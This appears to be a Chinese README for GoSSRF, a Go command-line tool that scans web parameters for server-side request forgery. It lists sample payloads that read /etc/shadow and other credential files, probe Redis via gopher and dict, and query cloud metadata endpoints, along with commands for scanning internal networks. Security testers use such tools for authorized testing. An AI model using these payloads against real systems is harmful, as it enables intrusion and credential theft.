-
🎯 多种扫描模式
- 内网端口扫描(优先探测高危端口)
- 文件读取测试(支持file://、dict://、gopher://等协议)
- 云服务元数据接口探测(AWS/GCP/阿里云)
- OOB(Out-of-Band)带外数据检测
-
🚀 高性能并发
- 支持自定义并发线程数
- 智能互斥锁保护输出顺序
- 高效的payload管理
-
🎨 友好的输出
- 彩色命令行输出(漏洞绿色,错误红色)
- 输出文件与命令行内容完全一致
- 简洁清晰的扫描进度
-
🔧 灵活配置
- 支持自定义HTTP方法(GET/POST/PUT等)
- 支持自定义HTTP Headers(Burp格式)
- 支持自定义Payload字典
- 支持CIDR网段扫描
从 Releases 下载最新版本
git clone https://github.com/yourusername/GoSSRF.git
cd GoSSRF/GoSSRFClient
go build -o GoSSRF.exe参数说明:
-u string
目标URL(必需)
-p string
要测试的参数名(必需)
-X string
HTTP请求方法 (default "GET")
-w string
自定义payload字典文件(指定后跳过默认扫描)
-H string
自定义HTTP Headers文件 (default "Header.txt")
-i string
内网扫描目标(支持: CIDR 192.168.1.0/24 | 单IP 192.168.1.1 | 范围 192.168.1.1-10|域名 localhost)
-ports string
扫描端口范围(例如:1-1000 或 80,443,3306,不指定则扫描默认高危端口)
-oob string
OOB服务器地址(指定后自动启用OOB测试)
-t int
并发线程数 (default 10)
-timeout int
HTTP请求超时时间(秒) (default 10)
-delaytime int
延迟请求时间(秒)(default 0)
-all
指定后扫描所有内置的字典
-o string
结果输出文件(内容与命令行输出一致)
GoSSRF/
├── main.go # 程序入口
├── config/ # 配置模块
│ ├── config.go # 配置解析和管理
│ ├── color.go # 颜色输出定义
│ └── logo.go # Logo显示
├── detector/ # 检测模块
│ └── detector.go # SSRF检测逻辑
├── scanner/ # 扫描模块
│ ├── scan_manager.go # 扫描管理器
│ └── url_builder.go # URL构造器
├── payloads/ # Payload模块
│ └── payloads.go # 内置payload定义
├── dict/ # 内置字典目录
│ ├── bypass_techniques.txt
│ ├── cloud_metadata.txt
│ ├── file_read.txt
│ ├── high_risk_ports.txt
│ ├── internal_ip.txt
│ └── protocol_bypass.txt
├── Header.txt # 默认HTTP Headers配置
└── README.md # 本文档
- 6379 - Redis(未授权访问)
- 3306 - MySQL(数据库)
- 5432 - PostgreSQL(数据库)
- 27017 - MongoDB(NoSQL数据库)
- 9200 - Elasticsearch(搜索引擎)
- 11211 - Memcached(缓存)
- 2375 - Docker API(容器管理)
- 8086 - InfluxDB(时序数据库)
- 5000 - Docker Registry(镜像仓库)
file:///etc/passwd- Linux用户文件file:///etc/shadow- Linux密码哈希file:///proc/self/environ- 进程环境变量file:///c:/windows/win.ini- Windows配置dict://127.0.0.1:6379/info- Dict协议gopher://127.0.0.1:6379/_INFO- Gopher协议
- AWS:
http://169.254.169.254/latest/meta-data/ - Google Cloud:
http://metadata.google.internal/computeMetadata/v1/ - 阿里云:
http://100.100.100.200/latest/meta-data/
# GET请求测试
GoSSRF.exe -u "http://example.com/api" -p url -X GET
# POST请求测试
GoSSRF.exe -u "http://example.com/api" -p data -X POST
# 指定输出文件
GoSSRF.exe -u "http://example.com/api" -p url -o result.txt# 使用自定义payload字典(会跳过默认扫描)
GoSSRF.exe -u "http://example.com/api" -p url -w custom_payloads.txt字典文件格式:
# 这是注释
http://127.0.0.1:6379
http://192.168.1.100:3306
file:///etc/passwd
http://169.254.169.254/latest/meta-data/
# 使用自定义Headers
GoSSRF.exe -u "http://example.com/api" -p url -H Header.txtHeader.txt文件格式(Burp兼容):
# HTTP Headers - 可以直接从Burp复制粘贴
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Cookie: session=abc123; token=xyz456
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
Accept: application/json
# 默认只扫描127.0.0.1
GoSSRF.exe -u "http://example.com/api" -p url
# 扫描指定内网网段
GoSSRF.exe -u "http://example.com/api" -p url -i 192.168.1.0/24
# 扫描多个C段
GoSSRF.exe -u "http://example.com/api" -p url -i 10.0.0.0/16# 使用20个并发线程,超时30秒
GoSSRF.exe -u "http://example.com/api" -p url -t 20 -timeout 30本项目采用 Apache 许可证 - 详见 LICENSE 文件
本工具仅用于授权的安全测试,请勿用于非法用途。使用本工具进行测试前,请确保:
- 已获得目标系统所有者的明确授权
- 遵守相关法律法规
- 承担使用本工具产生的一切后果
